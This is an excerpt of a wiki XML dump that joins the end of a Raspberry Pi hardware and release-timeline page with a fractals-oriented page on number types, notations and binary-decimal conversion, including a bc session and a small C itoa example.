*Green RPi [https://datasheets.raspberrypi.com/cm4io/CM4IO-KiCAD.zip Compute Module 4] [https://datasheets.raspberrypi.com/cm4io/cm4io-datasheet.pdf IO board] V1.4 [https://datasheets.raspberrypi.com/cm4io/CM4IOUSB3-KiCAD.zip USB3] [https://datasheets.raspberrypi.com/cm4io/cm4iousb3-appnote.pdf CM4ISO] [https://datasheets.raspberrypi.com/cm4/cm4-datasheet.pdf Dual100pin] (2020) aka Development Platform Board - untested 
*Purple Pi Hut Cytron CM4 Maker Board - untested 
*Black DeskPi Super6C Cluster Mini-ITX Board - untested 
*[ KubeSail PiBox mini 2] 
*Home Assistant Yellow with Raspberry Pi Compute Module 4 - untested 
*[ Turing Pi V2] - untested CM4 with 260-pin SO-DIMM socket adapters and/or nvidia jetson nanos - untested 
*Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-B Waveshare CM4-IO-BASE-B] - untested but binary blobs 
*Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-A Waveshare CM4-IO-BASE-A] - untested but binary blobs 


CM3 has a 200 pin sodimm ddr2 connector form factor but not electrically SC0028, SC0029 
*Blue [https://wiki.geekworm.com/CM_IO_Board Geekworm RPi Compute Module IO Board] [https://github.com/geekworm-com/cm-io-board CSI DSI] with CM3 in ddr2 slot underside - '''works''' if SW1 on but CM3+ '''does not''' 
*Green [https://cdn-shop.adafruit.com/product-files/3442/CMIO_schematic.pdf RPi V3 IO board CM3IO] and CM3 Lite - untested 
*Green [https://turingpi.com/ turingpi v1 cluster] - untested up to 7 cm3 7xlan9514 12V discontinued, 3 x Pi4 homelab maybe better 
*Blue [https://www.waveshare.com/wiki/Compute_Module_PoE_Board Waveshare Compute Module PoE Board] and CM3 lite (if not lite, write files to internal eMMC fat32) '''AVOID''' bin blobs 
*Blue [https://www.waveshare.com/compute-module-io-board-plus.htm Waveshare Compute Module IO Board Plus] [https://www.waveshare.com/wiki/Compute_Module_IO_Board_Plus wiki] [https://forums.raspberrypi.com/viewtopic.php?t=235695 pin settings] with CM3+ Lite - '''AVOID''' binary blob 


*[ Pi02w on Geekworm SupTronics X305 Raspberry Pi Zero IO Baseboard] - untested 
*[ Spotpear Pi Zero 2w to Pi3b format-ish] - untested 


*[ pi-top v4] box has 128x64 oled display, micro hdmi, 19Whr battery with pi4 and 15V PD 36W min needed 
*[ pi-top v3] three green pieces, heatsink covers most of the base tray, pi-top hub mk1 lhs and Pi1B Pi2b Pi3b rhs secured from below, black rounded strip with pi-top above keyboard, 13.3&quot; HD 1366 x 768 display, small touchpad, 
*[ pi-top Model 2.0] pi-top on bottom bezel of 14-inch green laptop, large trackpad, keyboard slide down to reveal main system hub on slide rails moved to the right, Raspberry Pi3b screws down, hub slides in, 18V 2.5A 45W charger brick, battery 11.1V 3500mAh 38.85Wh and storage PiTopOS 
*[ Pi-Top CEED Raspberry Pi Modular Educational Desktop with RPI3] monitor 
*[https://www.indiegogo.com/en/projects/jesselozano/pi-top-a-raspberry-pi-laptop-you-build-yourself Pi-Top v1] wedge laptop with RPi2 


&lt;pre&gt;
2008 Trustees collected for Foundation
2009 Pi Foundation charity status gained 
2010 
2011 First Raspberry prototypes 
2012 First boards go on sale at CPC and RS. The Model A and B 700 MHz Arm11 - February 29th BCM 2835
2012 First million sold - more than the 10,000 original planned and anticipated 
2013 First Alpha Experimental builds of AROS Native for the 32bit Pi 
2013 Pi Trading launched making grants available, providing in house educational resources and Pi Academy for teacher training 
2013 Over two million sold 
2014 Over three million sold 
2014 Pi 1 Model B+ introduced that moved composite video to audio jack and same half gig of memory 
2014 Pi Model A+ v1.1 no ethernet and 1 usb - a little smaller - 
2015 Over four million first gen pis sold  
2015 Pi Zero 1.2 BCM2835 first production revision released with no camera port 
2016 Pi0 1.3 released with camera csi connector 
2017 Pi Zero W v1.1 1GHz Pi0W, single-core 32bit CPU BCM2835 released with Cypress CYW43438 wireless 
2020 Raspberry Pi Pico SC0919 with RP2040 32-bit 2Core ARM Cortex-M0+ up to 133 MHz - 264KB of SRAM and 2MB of on-board QSPI Flash - 
2024 Raspberry Pi Pico 2 with RP2350 2Core 32bit Arm Cortex-M33 and 2core open-hardware [https://github.com/wren6991/hazard3 Hazard3 RISC-V] 

2015 Pi 2 Model B v1.1 BCM2836 900/600 MHz ARM Cortex-A7 Armv7 quad 32bit, 32bit VideoCore IV GPU - 1Gb RAM - 5V 2A micro usb - SMSC LAN9514 chip - 
2015 Over a million pi2s sold 


2015 Raspberry Pi 2 Model B version 1.2 Pi2bv1.2, aka Pi2B2 has armv8 BCM2837 underclocked to 900Mhz without wifi/bluetooth module 
2016 Pi 3 Model B - Broadcom BCM2837 SOC four 64bit ARMv8 Cortex-A53 1.2GHz 32bit 1080p VideoCore IV GPU - 1Gb DDR2 - bluetooth 4.1, Cypress CYW43438 wireless 802.11n - 4 x USB2.0 ports - 5.1V 2.5A - SMSC LAN9514 chip 
2016 PIs total over 10 million worldwide 
2017 Compute Module 3 CM3 with BCM2837B0 armv8 Quad 64-bit - small 67.6mm x 31mm board which fits DDR2 SODIMM connector but not electrically compatible which plugs into needed IO board - beware of the I2C protocol issue 
     1Gb LPDDR2 RAM - Lite or 4Gb Emmc storage 
2017 12 million pis sold in total 
2018 Pi 3 Model B+ - 4c A53 BCM2837B0 1.4Ghz - 1Gb, wireless 802.11ac, gigabit ethernet (300Mbit/s) and bluetooth 4.2 - power over ethernet - 4 x USB2.0 ports - Microchip LAN7515 chip 
2019 Over 15 million sold 
2019 Pi 3 Model A+ with BCM2837b0 Cortex-A53 64-bit SoC @ 1.4 GHz with 512Mb LPDDR2, 1 usb2, 1 hdmi, 1 micro usb 5V 2A - no ethernet - 
2019 Raspberry Pi Compute Module 3+ CM3+ - Broadcom BCM2837B0 1.2Ghz, Cortex-A53 (ARMv8) 64-bit SoC on DDR2 SODIMM mechanically compatible only factor - IO board required 
     1Gb DDR2 and 8GB, 16GB, 32GB or a Lite variant without eMMC 
2021 Pi zero 2 (w or no W) RP3A0 quad 1GHz Cortex-A53 64bit BCM2710A1 512mB SDRam 
2025 edaTEC CM0 ED-CM0NANA with additional dev board with quad 1Ghz A53 with 512Mb Raysan RAM, 2 USB2 and 10/100 ethernet - pico castellated edge
 

2019 Pi 4 Model B RPI4B - BCM2711B0T quad 64bit A72 1.5GHz, 4K VideoCore VI, AC wifi, Bluetooth 5.0, GbE Broadcom BCM54213PE (PHY ID 0x600d84a2), 2 micro hdmi decode up to 4K, USB-C 5.1V 3A power, 2xVLI VL805 USB 3, 2xUSB 2.0, 2GB 9LDWW D9WHZ or 4GB 9FDWW D9WHV, 8GB 0AA47 D9ZCL ddr4 ram 
2020 Silent Pi 4 v1.2 upgrade with more USB-c psu support 
2020 PI400 BCM2711C0T 1.8GHz 4Gb DDR4 inside keyboard, 5.1V 5A 27W usb-c psu, 2 micro hdmi, external ide style 40pin gpio, no audio port - 
2020 Raspberry Pi Compute Module 4 BCM2711B0T on new 55mm x 40mm 2x100 pin form factor with extra breakout IO board 
     CM4101000 1Gb RAM Lite SOM 
     CM4102000 2GB RAM Lite 
     CM4104000 4GB RAM Lite 
     CM4004008-4GB-RAM 8GB-EMMC SOM System on Modules 
     CM4104032 4GB RAM 32GB emmc 
     CM4108000 8GB RAM Lite 
     CM4008016 8GB RAM 16Gb eMMc
2021 Raspberry Pi SC0763 Compute Module 4S CM4S with ddr2 sodimm pinouts but not electrically the same with suitable IO board extra cost - 
     CM4S01000 1GB RAM Lite
     CM4S01008 1GB RAM 8GB eMMC Flash
     CM4S02000 2GB RAM Lite
     CM4S04000 4GB RAM Lite
     CM4S08000 8GB RAM Lite 
2021 Pi 4 v1.4 BCM2711B1 upgraded power regulator, to deal with 8gig of ram being more power hungry - 
2021-48 Raspberry Pi 4 model B v1.5 2GB 


2023 Pi 5 v1.0 BCM2712 Quad A76 @2.4Ghz - VideoCore VII - no audio socket - dual 4k from mini hdmi - fan connector - 5.1V 5A psu 
2024 Pi 5 2GB DDR4 version uses BCM2712D0 
2024 Pi-500 with 8Gb LPDDR5 and membrane keyboard 
2024 Pi 5 v1.1 
2024 Raspberry Pi Compute Module 5 CM5 BCM2712 55mm x 40mm form factor with additional IO board 
     CM5004000 04GB RAM 0GB eMMC Lite
     CM5008000 08GB RAM 0GB eMMC Lite
     CM5016000 16GB RAM 0GB eMMC Lite
2025 Pi-500+ with 256GB NVMe storage, 16GB LPDDR4 RAM, and Gateron KS-33 Low Profile Blue mechanical keyboard switches 
2025 Pi5 1GB DDR4 announced 


2022 PiOS linux goes 64bit 
2024 Pi Trading IPO stockmarket stock exchange listing 


2026 April and May Aros 64bit fixed, added AHI audio, VC4 gfx started, usb functions added to rom  
2026 June and July Aros 64bit usb2otg started, dma.resource, sdio.resource, bwfm.device wifi added 
2026 Late July daily 64bit Pi3 LE little endian builds start 
2026 August Pi 4, 400, 5 and 500 DTBs added, expanding existing support and wifi for Pi4 and Pi5 
2026 August Pi5 HAT+ nvme and HDMI, AHI RPiI2S added, Pi4 HVS5 video scaler started, 
2026 
2027 


2028 Pi 6 
&lt;/pre&gt;


==Future==


[https://github.com/ARMSX2/ARMSX2 Arm pi of pcsx2] 


{{BookCat}}</text>
      <sha1>2vjnj8wcghn64u7sew6xk8p8iqq9efo</sha1>
    </revision>
  </page>
  <page>
    <title>Fractals/Mathematics/Numbers</title>
    <ns>0</ns>
    <id>294698</id>
    <revision>
      <id>4670475</id>
      <parentid>4536655</parentid>
      <timestamp>2026-09-16T16:57:36Z</timestamp>
      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
      </contributor>
      <minor />
      <comment>measurment &gt; measurement</comment>
      <origin>4670475</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="42450" sha1="5bjy6jp4i0632xfy5g8w61bdayjrmys" xml:space="preserve">         '''&quot;Many questions concerning (discrete) dynamical systems are of a number theoretic or combinatorial nature.&quot;''' Christian Krattenthaler
[[File:Set of real numbers (diagram).svg|thumb|right|The set of real numbers]]
=Intro=
* [https://www.codechef.com/wiki/tutorial-number-theory/ Basic Number Theory Every Programmer Should Know...by CodeChef]
* [https://www.quora.com/What-important-topics-of-number-theory-should-every-programmer-know Quora : What important topics of number theory should every programmer know?]
* [http://www.science4all.org/article/numbers-and-constructibility/ science4all : numbers-and-constructibility]
* [[Number Theory]]
* [https://mabi.tmpinc.io/numbers/ How Computers Use Numbers by Mabi19]

=Number types=
Number can be used as :
* a numerical values used in numerical computations 
* a symbols used in symbolic computations

Number ( for example [[Fractals/Iterations in the complex plane/def cqp#Angle|angle in turn]]s  ) can be:&lt;ref&gt;[http://www.exploringbinary.com/nine-ways-to-display-a-floating-point-number/ exploring binary: nine-ways-to-display-a-floating-point-number]&lt;/ref&gt;
* decimal number (base = 10 ) &lt;ref&gt;[[w:Number base|wikipedia : Number base]]&lt;/ref&gt;
** integer
** real number
*** ratio = fraction ( Finite [[Fractals/Continued fraction|continued fraction]] )  = rational number (  the irrationality measure of any rational number is 1)&lt;ref&gt;[https://math.stackexchange.com/questions/1435312/are-there-real-numbers-that-are-neither-rational-nor-irrational math.stackexchange question: are-there-real-numbers-that-are-neither-rational-nor-irrational]&lt;/ref&gt;
**** in lowest terms ( irreducible form ) : &lt;math&gt;\tfrac{1}{21}&lt;/math&gt;
**** reducible form
***** in explicit normalized form ( only when denominator is odd ):&lt;ref&gt;[http://www.iec.csic.es/~gerardo/publica/Pastor03.pdf HOW TO WORK WITH ONE-DI MENSIONAL QUADRATIC MAPS  G. Pastor  , M. Romera, G. Álvarez, and F. Montoya ]&lt;/ref&gt; &lt;math&gt;\tfrac{3}{63} = \tfrac{3}{2^{6}-1}&lt;/math&gt;
*** irrational number   = [[Fractals/Continued_fraction#Infinite_continued_fractions|infinite continued fraction]] ( if number can not be represented as a ratio then it is irrational number ) 
**** algebraic ( irrationality measure = 2)
**** transcendental ( irrationality measure &gt; 2)
**  decimal floating point number &lt;math&gt;0.\overline{047619}&lt;/math&gt; &lt;ref&gt;[http://floating-point-gui.de/ What Every Programmer Should Know About Floating-Point Arithmetic ]&lt;/ref&gt;&lt;ref&gt;[http://stackoverflow.com/questions/21895756/why-are-floating-point-numbers-inaccurate Stackoverflow : Why Are Floating Point Numbers Inaccurate?]&lt;/ref&gt;
*** finite expansion
*** infinite (endless) expansion 
****  continue infinitely without repeating (in which case the number is called irrational = non-repeating non-terminating decimal numbers&lt;ref&gt;[http://www.homeschoolmath.net/teaching/irrational_numbers.php home school math  : The fascinating irrational numbers]&lt;/ref&gt;)
**** Recurring or repeating
***** (strictly) periodic ( preperiod = 0 , period &gt; 0 )
***** mixed = eventually periodic ( preperiod &gt; 0 , period &gt; 0 ) 
* [[Fractals/Mathematics/binary|binary number]] ( base = 2 )&lt;ref&gt;[http://kipirvine.com/asm/workbook/floating_tut.htm Tutorial: Floating-Point Binary by Kip Irvine]&lt;/ref&gt;
** binary rational number ( ratio) &lt;math&gt;\tfrac{1}{10101}&lt;/math&gt;
** binary real number
*** binary floating point number ( scientific notation )
*** Raw binary (  raw IEEE format ) 
*** binary fixed point number ( notation) 
**** with repeating sequences : &lt;math&gt;0.\overline{000011}&lt;/math&gt;
**** with endless expansion &lt;math&gt;0.000011000011000011000011...&lt;/math&gt;


==dimension==
* 1D: real 
* 2D 
** dual&lt;ref&gt;[http://blog.demofox.org/2014/12/30/dual-numbers-automatic-differentiation/ Dual Numbers &amp; Automatic Differentiation]&lt;/ref&gt; 
** complex&lt;ref&gt;[https://www.youtube.com/playlist?list=PLiaHhY2iBX9g6KIvZ_703G3KJXapKkNaF videos: Imaginary Numbers are Real from Welch Labs]&lt;/ref&gt;
* 4D&lt;ref&gt;[https://math.stackexchange.com/questions/32100/is-there-a-third-dimension-of-numbers math stackexchange question: is-there-a-third-dimension-of-numbers]&lt;/ref&gt;
** quaterions


==way to represent real numbers using a finite number of bits==
* IEEE floating point
* fixed point
* [http://:w:Unum_(number_format) unums (universal numbers) by John Gustafson]
** Posits are a hardware-friendly version of unums&lt;ref&gt;[http://www.johngustafson.net/pdfs/BeatingFloatingPoint.pdf Beating Floating Point at its Own Game: Posit Arithmetic by  John L. Gustafson , Isaac Yonemoto]&lt;/ref&gt;&lt;ref&gt;[https://fractalforums.org/fractal-mathematics-and-new-theories/28/posits/5035 fractalforums.org : posits]&lt;/ref&gt;

==expansion/representation==
* finite = terminating  
* infinite = non-terminating
** periodic = infite repeating
** preperiodic = eventually periodic
** non-periodic: binary numerals which neither terminate nor recur represent irrational numbers

==base ==
radix or base of a positional numeral system&lt;ref&gt;[[:w:Radix|wikipedia: Radix]]&lt;/ref&gt;
* [[Fractals/Mathematics/binary|2 ( binary number)]]
* 8 ( octal number)
* 10 ( decimal umber)
* 16 ( hexadecimal)

==form/notation==
Notation&lt;ref&gt;[https://www.mrob.com/pub/math/floatformats.html Survey of Floating-Point Formats Robert Munafo's home pages on AWS   © 1996-2022 Robert P. Munafo.  ]&lt;/ref&gt;
* sequence of digits and radix
** infinite sequence 
*** in general form is denoted by [[:w:Ellipsis|ellipsis]] ( = 3 dots):  &lt;math&gt; r=d_0.d_1 d_2 d_3\dots&lt;/math&gt;
*** Infinitely repeating part of expansion denoted by
**** round brackets : &lt;math&gt;0.10(00101010) = 0.10001010100010101000101010001010100010101000101010 \dots&lt;/math&gt;.  
**** overline: &lt;math&gt; 0.10\overline{00101010} = 0.10001010100010101000101010001010100010101000101010 \dots&lt;/math&gt;
** finite sequence 
*** 1.23
**** with trailing zeros:  1.2300 for indicating the number of significant figures, for example in a measurement.
*** with absolute measurement error: mean ± range &lt;ref&gt;[https://openbooks.library.umass.edu/p132-lab-manual/chapter/how-to-write-numbers-significant-figures/ Physics 132 Lab Manual: how-to-write-numbers-significant-figures by Brokk Toggerson and Aidan Philbin ]&lt;/ref&gt;, for example:  72.20 ± 0.02
* ratio of integers &lt;math&gt; r = \frac{m}{n}&lt;/math&gt;
** in lowest terms ( irreducible form ) : &lt;math&gt;\tfrac{1}{21}&lt;/math&gt;
** reducible form
*** in explicit normalized form ( only when denominator is odd ):&lt;math&gt; \frac{n}{2^p - 1}&lt;/math&gt;&lt;ref&gt;[http://www.tic.itefi.csic.es/gerardo/publica/Pastor03.pdf HOW TO WORK WITH ONE-DI MENSIONAL QUADRATIC MAPS  G. Pastor  , M. Romera, G. Álvarez, and F. Montoya ]&lt;/ref&gt;, for example :  &lt;math&gt;\tfrac{3}{63} = \tfrac{3}{2^{6}-1}&lt;/math&gt;
*** The explicit normalized form of formula for denominator of angle : &lt;math&gt;\frac{n}{(2^p - 1) * 2^k}&lt;/math&gt;
* [[Fractals/Continued_fraction|continued fraction]] :   &lt;math&gt;[a_0; a_1, a_2, a_3]&lt;/math&gt;
* scientific (exponential) form or notation: &lt;ref&gt;[https://www.calculatorsoup.com/calculators/math/scientific-notation-converter.php calculatorsoup: scientific-notation-converter]&lt;/ref&gt;  

: &lt;math&gt; 6.022e23 = 6.022 * 10^{23}&lt;/math&gt;
: &lt;math&gt;1.2345e-3 = 1.2345+ 10^{-3}&lt;/math&gt;

: &lt;math&gt;\tfrac{3}{63} = \tfrac{3}{2^{6}-1} =  \tfrac{1}{21} = 0.04761904761904762&lt;/math&gt;

A computer number formats ( storage forms)
* floating point form ( expansion) : the number's radix point can &quot;float&quot; anywhere to the left, right, or between the significant digits of the number.
* fixed point format

===Round brackets===

brackets with exponent ( superscript)  denotes how many times the series repeats &lt;ref&gt;[http://www.hindawi.com/journals/mpe/2013/105283/ A Method to Solve the Limitations in Drawing External Rays of the Mandelbrot Set M. Romera,1 G. Pastor, A. B. Orue,1 A. Martin, M.-F. Danca,and F. Montoya ]&lt;/ref&gt;

:&lt;math&gt;0.11(11101010) = 0.11(11(10)^3) &lt;/math&gt;


=== Trailing zeros ===
Trailing zeros to the right of a decimal point, as in 12.3400, do not affect the value of a number and may be omitted if all that is of interest is its numerical value. This is true even if the zeros recur infinitely. For example, in pharmacy, trailing zeros are omitted from dose values to prevent misreading. However, trailing zeros may be useful for indicating the number of significant figures, for example in a measurement. In such a context, &quot;simplifying&quot; a number by removing trailing zeros would be incorrect.

The number of trailing zeros in a non-zero base-b integer n equals the exponent of the highest power of b that divides n. For example, 14000 has three trailing zeros and is therefore divisible by 1000 = 103, but not by 104. This property is useful when looking for small factors in integer factorization. Some computer architectures have a count trailing zeros operation in their instruction set for efficiently determining the number of trailing zero bits in a machine word.

=Examples of binary expansions =

First check if the ratio is in the lowest terms ( reducible)

Binary expansion can be :
* [[Fractals/Mathematics/binary#finite|finite]]
* [[Fractals/Mathematics/binary#infinite|infinite]]
** [[Fractals/Mathematics/binary#periodic|periodic]] : preperiod = 0, period &gt; 0 
** [[Fractals/Mathematics/binary#preperiodic|preperiodic]] ( =  eventually periodic) : preperiod &gt; 0, period &gt; 0 
** [[Fractals/Mathematics/binary#aperiodic|aperiodic]] : preperiod = 0, period = 0

=Conversions=

Conversion between :
* bases ( from binary to decimal, ...)
* forms ( rational to expansion, ...) &lt;ref&gt;[https://mathr.co.uk/blog/2014-10-13_converting_fractions_to_strings_of_digits.html Converting fractions to strings of digits by Claude Heiland-Allen ]&lt;/ref&gt;
** Recognizing Rational Numbers From Their Decimal Expansion:&lt;ref&gt;[http://modular.math.washington.edu/edu/2007/spring/ent/ent-html/node74.html|Recognizing Rational Numbers From Their Decimal Expansion by William Stein]&lt;/ref&gt; &quot;to compute the simple continued fraction of the approximation, and truncate it before a large partial quotient a_n, then compute the value of the truncated continued fraction.&quot;
** converting-repeating-decimals-to-fractions &lt;ref&gt;[http://www.basic-mathematics.com/converting-repeating-decimals-to-fractions.html basic-mathematics : converting-repeating-decimals-to-fractions]&lt;/ref&gt;
** fraction to recurring decimal&lt;ref&gt;[http://lagodiuk.github.io/programming_puzzles/2016/01/31/puzzles_repeating_decimal.html Recurring decimal of a rational number by Yurii Lahodiuk]&lt;/ref&gt;
*** use of Floyd's Cycle Detection Algorithm for finding of the first repetitive remainder
*** recursive division and collection of remainders (associated with pieces of decimal fraction)
** convert-repeating-fractions-to-different-bases&lt;ref&gt;[https://www.quora.com/How-do-you-convert-repeating-fractions-to-different-bases quora : How-do-you-convert-repeating-fractions-to-different-bases]&lt;/ref&gt;
Using : 
* online calculators &lt;ref&gt;[http://www.knowledgedoor.com/2/calculators/convert_a_ratio_of_integers.html knowledgedoor calculators: convert_a_ratio_of_integers]&lt;/ref&gt;&lt;ref&gt;[http://www.maths.surrey.ac.uk/hosted-sites/R.Knott/Fractions/FractionsCalc.html R.Knott : Fractions – Decimals Calculator]&lt;/ref&gt;&lt;ref&gt;[http://www.easysurf.cc/cnver17.htm   Base Number - Decimal Number Conversion]&lt;/ref&gt;&lt;ref&gt;[http://www.exploringbinary.com/floating-point-converter/ Decimal to Floating-Point Converter By Rick Regan]&lt;/ref&gt;&lt;ref&gt;[http://www.wolframalpha.com/input/?i=111011.01%20binary%20to%20decimal wolframalpha binary to decimal conversion]&lt;/ref&gt;
* code

==Algorithms==
* Find 
** strictly repeating patterns (that you do not know in advance) in a binary  string/sequence&lt;ref&gt;[https://stackoverflow.com/questions/5311671/best-algorithm-to-find-a-repeating-pattern stackoverflow question : best-algorithm-to-find-a-repeating-pattern]&lt;/ref&gt; &quot;If there is a pattern =&gt; its length must divide the string length &quot;AnotherGeek&lt;ref&gt;[https://stackoverflow.com/questions/39534139/method-to-find-repeated-pattern-in-string-apart-from-regex?noredirect=1&amp;lq=1 stackoverflow questions : method-to-find-repeated-pattern-in-string-apart-from-regex?noredirect=1&amp;lq=1]&lt;/ref&gt;
*** using regex&lt;ref&gt;[https://stackoverflow.com/questions/21961729/finding-a-repeated-pattern-in-a-string stackoverflow question: finding-a-repeated-pattern-in-a-string]&lt;/ref&gt;
*** javascript&lt;ref&gt;[https://stackoverflow.com/questions/16474895/finding-a-pattern-in-a-binary-string stackoverflow question: finding-a-pattern-in-a-binary-string]&lt;/ref&gt; &lt;ref&gt;[http://jsfiddle.net/hGxpx/ jsfiddle by Jan Turoń]&lt;/ref&gt;
** non-repeating and strictly repeating patterns (that you do not know in advance) in a binary  string/sequence
* convert a number with a repeating fractional part


=== Reducing Fractions to Lowest Terms ===

A fraction that is reducible can be reduced by dividing both the numerator and denominator by a common factor. It can be fully reduced to lowest terms if both are divided by their greatest common divisor 

Algorithms for finding the greatest common divisor:
* the Euclidean algorithm 
* prime factorization  

The Euclidean algorithm is commonly preferred because it allows one to reduce fractions with numerators and denominators too large to be easily factored

Examples:
* [https://www.desmos.com/calculator/6wjcqjudjx desmos: graphical fraction reduction]

===convert decimal fraction to binary===

&quot;...  we repeatedly multiply the decimal fraction by 2. If the result is greater than or equal to 1, we add a 1 to our answer. If the result is less than 1, we add a 0 to our answer.&quot; (from Virginia Tech Online CS module &lt;ref&gt;[http://courses.cs.vt.edu/csonline/NumberSystems/Lessons/DecimalToBinaryConversionWithFractions/index.html Virginia Tech Online CS module ]&lt;/ref&gt;)

Algorithm:&lt;ref&gt;[http://stackoverflow.com/questions/4987176/how-do-you-convert-a-fraction-to-binary Stackoverflow : How do you convert a fraction to binary ?]&lt;/ref&gt; 
* Multiply the input decimal fraction by two
* from above result 
** take integer part as the binary digit
** take the fractional part as the starting point for the next step
* repeat until you either get to 0 or a periodic number
* read the number starting from the top - the first binary digit is the first digit after the comma

Example of conversion 0.1 decimal fraction to binary fraction :

    0.1 * 2 = 0.2 -&gt; 0
    0.2 * 2 = 0.4 -&gt; 0
    0.4 * 2 = 0.8 -&gt; 0
    0.8 * 2 = 1.6 -&gt; 1
    0.6 * 2 = 1.2 -&gt; 1
    0.2 * 2 = 0.4 -&gt; 0
    0.4 * 2 = 0.8 -&gt; 0
    0.8 * 2 = 1.6 -&gt; 1
    0.6 * 2 = 1.2 -&gt; 1
    0.2 * 2 = 0.4 -&gt; 0
    0.4 * 2 = 0.8 -&gt; 0
    0.8 * 2 = 1.6 -&gt; 1
    0.6 * 2 = 1.2 -&gt; 1
    0.2 * 2 = 0.4 -&gt; 0

Result:

 &lt;math&gt; 0.1_{10} = 0.0(0011)_2&lt;/math&gt;

Repeating fractions :&lt;ref&gt;[http://stackoverflow.com/questions/2126031/converting-a-repeating-binary-number-to-decimal-express-as-a-series Converting a repeating binary number to decimal (express as a series?)]&lt;/ref&gt;

 0.(567) = 567/999 = 189/333 = 63/111
 0.(0011) = 0011 / 1111 =(in decimal) 3/15 = 1/5
 
[[File:Binary decomposition.png|thumbnail|right|Graphical conversion]]

Code
* [https://www.geeksforgeeks.org/convert-decimal-fraction-binary-number/ geeksforgeeks: convert-decimal-fraction-binary-number ]
* [https://mathr.co.uk/web/m-primary-bulb.html primary-bulb by Claude Heiland-Allen	]

===Convert binary fraction to decimal ratio ===


====Geometric series====

(Pre)periodic [[Fractals/Mathematics/binary|binary fraction]] can be split into 2 fractions:
* finite 
* infinite: periodic with  empty or filled with zeros preperiodic part

:&lt;math&gt; 0.\overbrace{b...b}^{t}(\overbrace{b...b}^{p}) = 0.\overbrace{b...b}^{t} + 0.\overbrace{0...0}^{t}(\overbrace{b...b}^{p})&lt;/math&gt;


Formula for the geometric series when |r|&lt;1 :&lt;ref&gt;[[:w:Geometric_series#Formula|wikipedia :Geometric_series]]&lt;/ref&gt;

&lt;math&gt;a+ar+ar^2+ar^3+ar^4+\cdots = \sum_{k=0}^\infty ar^k = \frac{a}{1-r} &lt;/math&gt;

For the infinite periodic binary fraction with empty or filled with zeros preperiodic part this formula is&lt;ref&gt;[https://stackoverflow.com/questions/2126031/converting-a-repeating-binary-number-to-decimal-express-as-a-series stackoverflow question: converting-a-repeating-binary-number-to-decimal-express-as-a-series]&lt;/ref&gt;
 
:&lt;math&gt; 0.\overbrace{0...0}^{t}(\overbrace{b...b}^{p}) = \frac{a}{1-r}&lt;/math&gt;

where :
* b is a binary digit : 0 or 1 
* t is a length of preperiodic block
* p is a length of the periodic block
* the value of a is simply the value of the first occurrence of the repeating block &lt;math&gt; a =  0.\overbrace{0...0}^{t}\overbrace{b...b}^{p}&lt;/math&gt;
* the value of &lt;math&gt;r = \frac{1}{2^p}&lt;/math&gt; so &lt;math&gt;1 - r = \frac{2^p - 1}{2^p}&lt;/math&gt;


:&lt;math&gt; 0.\overbrace{b...b}^{t}(\overbrace{b...b}^{p}) = 0.\overbrace{b...b}^{t} + \frac{a}{1-r} = 0.\overbrace{b...b}^{t} + \frac{0.\overbrace{0...0}^{t}\overbrace{b...b}^{p}}{\frac{2^p - 1}{2^p}}&lt;/math&gt;


'''Full formula''' is now: 

           &lt;math&gt; 0.\overbrace{b...b}^{t}(\overbrace{b...b}^{p}) = 0.\overbrace{b...b}^{t} + \frac{0.\overbrace{0...0}^{t}\overbrace{b...b}^{p}}{\frac{2^p - 1}{2^p}}&lt;/math&gt;


'''Examples :''' 
* &lt;math&gt; 0.(0011) = \frac{0.0011}{\frac{2^4 - 1}{2^4}} = \frac{3/16}{15/16} = \frac{1}{5}&lt;/math&gt;
* &lt;math&gt; 0.00(0011) = \frac{0.000011}{\frac{2^4 - 1}{2^4}} = \frac{3/64}{15/16} = \frac{1}{20}&lt;/math&gt;
* &lt;math&gt; 0.01(1100) = 0.01 + \frac{0.0011}{\frac{2^4 - 1}{2^4}} = \frac{1}{4} + \frac{3/16}{15/16} = \frac{1}{4} + \frac{1}{5} = \frac{9}{20}&lt;/math&gt;
&lt;math&gt; 0.0101(11001) = 0.0101 + \frac{0.000011001}{\frac{2^5 - 1}{2^5}} = \frac{5}{16} + \frac{25/512}{31/32} = \frac{5}{16} + \frac{25}{496} = \frac{45}{124}&lt;/math&gt;

==code examples==

===bc===
Conversion from decimal ratio to binary&lt;ref&gt;[https://math.stackexchange.com/questions/1626654/find-a-fraction-given-the-repeating-binary-expansions math.stackexchange  question: find-a-fraction-given-the-repeating-binary-expansions]&lt;/ref&gt; using [[Guide to Unix/Explanations/bc#Convertions|bc – arbitrary–precision arithmetic language]]

 bc 1.06
 Copyright 1991-1994, 1997, 1998, 2000 Free Software Foundation, Inc.
 This is free software with ABSOLUTELY NO WARRANTY.
 For details type `warranty'. 
 obase=2
 3/14
 .0011011011011011011011011011011011011011011011011011011011011011010
 1/5
 .0011001100110011001100110011001100110011001100110011001100110011001

===C===
* itoa
* snprintf&lt;ref&gt;[http://stackoverflow.com/questions/190229/where-is-the-itoa-function-in-linux  Where is the itoa function in Linux?]&lt;/ref&gt;
* Binary integer constant
* Macro BOOST_BINARY
* gmp
* [[Fractals/mandelbrot-symbolics#binaries|mandelbrot-symbolics lbrary by Claude Heiland-Allen]]
** [[Fractals/mandelbrot-symbolics#m-binangle-from-rational binangle-from-rational]]
* [http://0x80.pl/articles/convert-to-bin.html Conversion numbers to binary representation by Wojciech Muła]
====itoa====
'''itoa''' function &lt;ref&gt;[http://www.strudel.org.uk/itoa/ itoa with GCC by Stuart]&lt;/ref&gt;
&lt;syntaxhighlight lang=&quot;c&quot;&gt;
/* 
 itoa example 
 http://www.cplusplus.com/reference/cstdlib/itoa/
*/
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

int main ()
{
  int i;
  char buffer [33];
  printf (&quot;Enter a number: &quot;);

  scanf (&quot;%d&quot;,&amp;i);
  itoa (i,buffer,10);
  printf (&quot;decimal: %s\n&quot;,buffer);

  itoa (i,buffer,16);
  printf (&quot;hexadecimal: %s\n&quot;,buffer);

  itoa (i,buffer,2);
  printf (&quot;binary: %s\n&quot;,buffer);

  return 0;
}
&lt;/syntaxhighlight&gt;

====Binary integer constant====
Binary integer constant&lt;ref&gt;[https://gcc.gnu.org/onlinedocs/gcc/Binary-constants.html#Binary-constants gcc - Binary-constants]&lt;/ref&gt;

